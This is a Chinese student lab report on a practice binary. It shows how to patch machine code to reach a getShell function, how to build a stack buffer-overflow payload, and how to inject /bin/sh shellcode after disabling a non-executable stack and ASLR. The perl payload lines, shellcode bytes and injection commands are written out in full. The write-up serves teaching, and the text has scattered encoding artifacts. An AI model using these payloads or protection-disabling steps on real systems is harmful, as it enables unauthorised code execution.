一、直接修改程序機器指令 二、經過構造輸入參數,形成BOF攻擊。 三、注入Shellcode並執行html
本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。編程
三個實踐內容以下:vim
這幾種思路,基本表明現實狀況中的攻擊目標:windows
|
,表示上一條指令的輸入爲下一條指令的輸出。>
,將字符輸入某個文件。(1)掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼sass
反彙編文件20165114pwn後,可在其中發現這幾條彙編指令的機器碼安全
由此可知:dom
nop
的機器碼爲90,即空操做,可用來延時;jne
的機器碼爲75,條件轉移指令,當零標誌z=0則跳轉,爲1則執行下一條指令;je
的機器碼爲74,條件轉移指令,當零標誌z=1則跳轉,爲0則執行下一條指令,與jne相反;jmp
的機器碼爲eb,無條件轉移,跳轉;cmp
的機器碼爲39,對兩數進行相減,進行比較;(2)掌握反彙編與十六進制編程器編輯器
反彙編指令objdump
objdump命令是Linux下的反彙編目標文件或者可執行文件的命令,它以一種可閱讀的格式讓你更多地瞭解二進制文件可能帶有的附加信息。
(3)能正確修改機器指令改變程序執行流程 (4)能正確構造payload進行bof攻擊 見下文操做步驟。
將機器指令修改,使本來跳轉入foo函數的流程,直接跳到getshell函數,得到shell。
(1)反彙編:objdump -d 20165114pwn | more
,查看彙編指令,理解該程序,爲下一步作準備,下圖爲其中部分核心代碼。 其中的e8 d7ffff
指令爲跳轉至foo函數,直接經過編輯該文件修改其爲e8 c3ffff
,使其跳轉到getshell函數,具體指令步驟以下:
(2)vim 20165114pwn
,進入文件修改機器指令,能夠看到一些亂碼。 (3)接下來把亂碼轉換爲十六進制機器指令。按下ESC鍵,輸入:%!xxd
修改成十六進制模式,再進行編輯。
(4)查找要修改的內容:/e8 d7ff
;
(5)使用vim編輯器將d7
修改c3
。
(6)轉換十六進制爲原格式::%xxd -r
。
(7)保存修改並退出::wq
。
(8)再次反彙編,查看是否修改爲功,發現已經成功修改。
(9)運行20165114pwn文件,測試是否攻擊成功。
成功了!
foo函數佔28個字節,ebp佔據4個字節,故返回地址在32個字節以後,這裏咱們經過輸入數字來定位返回地址的值。
步驟: (1)複製文件cp pwn1 20165114pwn_2
。 (2)進入調試gdb 20165114pwn_2
,以查看返回地址的位置。
(3)(gdb)r
,運行該文件,輸入1111111122222222333333334444444455555555
,將會輸出1111111122222222333333334444444455555555
,由於該程序功能即爲輸出剛剛輸入的值。 (4)查看各寄存器的狀態(gdb)info r
,其中eip寄存器中爲0x35353535,其中35爲5的ascii值的十六進制表示,便可初步肯定返回地址的值爲輸入前四個5的位置,注入bof時將這4個位置填入getshell的內存地址便可覆蓋至正確位置。
(5)再次確認位置,輸入指令(gdb)r
,運行該文件,這次輸入1111111122222222333333334444444412345678
,準肯定位。 (6)查看各寄存器的狀態(gdb)info r
,其中eip寄存器中爲0x34333231,其中3四、3三、3二、31分別爲四、三、二、1的ascii值的十六進制表示,因爲是小端模式,字節序倒放。確認了返回地址的位置。
(7)(gdb)q
,退出debug。
(8)開始反彙編已知getshell的內存地址爲0804847d,生成包括該地址的一個文件,再放入20165114pwn_2文件,爲以後能成功實現bof溢出攻擊。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input
。
(9)查看修改後的文件的十六進制機器指令:xxd input
,發現指令7d84 0408
在32個字節後的位置。
(10)(cat input;cat) | ./20165114pwn_2
,將input文件中的內容注入並執行20165114pwn_2文件,發現成功得到shell,可輸入指令並獲得正確迴應。
shellcode就是一段機器指令(code)
如下實踐使用學姐的文章Shellcode入門中生成的shellcode。以下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
修改一些設置,只有修改事後才能實現shell注入併成功執行噢
1. apt-get install execstack //安裝execstack命令 2. execstack -s pwn1 //設置堆棧可執行 3. execstack -q pwn1 //查詢文件的堆棧是否可執行 4. more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 5. echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 6. more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
下圖爲我安裝execstack命令和設置的操做。
Linux下有兩種基本構造攻擊buf的方法:
①nop+shellcode+retaddr
②retaddr+nop+shellcode
nop的做用:
由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
我在實驗中實現了第二種結構的成功注入,即anything+retaddr+nop+shellcode結構。
此時,shellcode開頭處的地址=返回地址+4字節,咱們須要定位返回地址,將shellcode開頭地址覆蓋給返回地址,以實現跳轉入咱們的shellcode代碼的目的。
(1)打開終端,輸入以下指令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
其中:
(2)在此終端繼續輸入指令,注入這段攻擊buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3
,回車。
(3)打開另外一個終端,進行調試,尋找返回地址。
ps -ef | grep 20165114pwn_3
,找到該進程號爲6731.gdb
,進入調試。3.(gdb)attach 6731
,attach到已啓動的進程上。
4.(gdb)disassemble foo
,反彙編foo函數。
5.(gdb)break *0xx80484ae
,設置斷點,目的查看返回地址。
6.(gdb)c
,繼續。
(4)當出現continuing時,在另外一個終端按下回車(若是提早按下會出現錯誤!!!)。
(5)返回正在進行調試的終端:
(gdb)info r esp
,查看棧頂指針指向的內存地址。x/16x 0xffffd20c
。(6)查看該內存地址的內容。發現其爲0x01020304,找到返回地址的位置了,能夠推出shellcode的地址爲0x0ffffd210
。
(7)在終端中輸入指令,將原來的\x04\x03\x02\x01\
改成\x10\xd2\xff\xff\
,即再次輸入指令:
perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode
xxd 20165114_shellcode
,查看此時修改後內存地址是否正確,以下圖所示。(cat 20165114_shellcode;cat) | ./20165114pwn_3
對緩衝區溢出有了更深的理解,也感受到了漏洞的危害性很是大。發現通過設計,緩衝區溢出能夠實現很是強大的功能。
此次實驗讓我意識到,在紮實的理論基礎上的創新和想法是很是重要的,緩衝區溢出的巧妙之處在於創新地放入了shellcode,能夠自由控制該主機,達到本身的目的。固然其中涉及了彙編語言、機器指令、各類有關計算機的基礎知識等等,我也意識到以前的各類基礎課程都是十分必要而重要的,經過知識的積累和沉澱,纔可以進行創造和攻擊,每每綜合能力依賴各個方面的彙總。
通過此次實驗,我感受漏洞並非設計時出現的重大紕漏,而是因爲某方面考慮不夠全面和嚴謹,致使攻擊者有空可鑽的問題。在不仔細思考的條件下,可能不會被發現,可是攻擊者可能巧妙地利用這個特性或者特徵,實現一些危害系統安全、影響使用者的功能。是一些被攻擊者發現的能夠實現不良目的的一些巧妙的問題。
漏洞會致使不少危害,像本實驗注入shellcode就可致使黑客實現任意操做,被黑客控制,黑客甚至能拿到超級管理員權限,危害很大,其中包括數據丟失和篡改、隱私泄露、危害系統安全、致使軟硬件受損。
因爲在更改主機名時,我在/etc/sysconfig/network文件中沒法找到HOSTNAME,只更改了/etc/hosts文件,以後出現瞭如圖的提示,重啓後問題能夠解決,可是並無成功修改主機名,因而我使用指令hostname daiqiaoyu
,可修改主機名,但重啓後仍會變爲kali。
運用實驗指導中的第一種方法,即nop+shellcode+retaddr結構,會發現最終出現段錯誤
的提示,沒法成功,與實驗指導遇到的問題相同,應該是尋找返回地址時定位出現了問題,沒有正確找到返回地址的值,覆蓋也就出現了錯誤。後面第二種結構可成功。
提早回車,在注入shellcode實驗中,尋找shellcode的內存地址時,進行調試,在一個終端輸入指令(cat 20165114_shellcode;cat) | ./20165114pwn_3
並回車後,此時不能再次回車,須要在另外一個終端中開啓gdb,在輸入(gdb)r
並出現continuing的提示後,才能再次返回該終端按下回車,若提早回車會出現上圖狀況並可能後續失敗,沒法找到返回地址。
低級錯誤之,輸入的第15個字符--標點符號爲中文字符,而不是英文,致使報錯,修改後可繼續實驗。